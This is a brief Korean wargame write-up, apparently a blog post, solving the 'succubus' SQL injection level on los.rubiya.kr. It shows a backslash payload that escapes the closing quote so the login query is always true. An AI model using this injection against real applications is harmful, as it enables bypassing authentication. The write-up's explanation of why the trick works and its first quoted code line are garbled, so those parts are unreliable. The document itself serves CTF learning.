WarGame/los(los.rubiya.kr)
los - succubus
DoR@Hee
2019. 3. 28. 11:11
if(preg_match('/\'/i', $_GET[id$_GET [id])) exit("HeHe");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
preg_match를 이용해서 '(싱글 쿼터)를 필터링하고 있다.
여기서 중요한 점은 preg_match는 특수문자 앞에 \ 가 존재하면 특수문자의 기능을 무시하고 일반적인 문자로 바꿔버리는 특징이 있다.
그걸 이용해서 쿼리를 작성해 보면은
"select id from prob_succbus where id =''or 1--'"이런 식으로 쿼리가 들어갈 경우 solve 될 것 인대
여기서 \를 이용해서 쿼리를 작성해보면
"select id from prob_succbus where id ='\'and pw=''or 1--'"
빨간색 부분이 일반적인 문자열로 바뀌면서 쿼리가 항상 참값이 된다.
성공
mysql에서 실험해보면
위와 같이 쿼리가 들어가게 되는데
결과는 참값이다.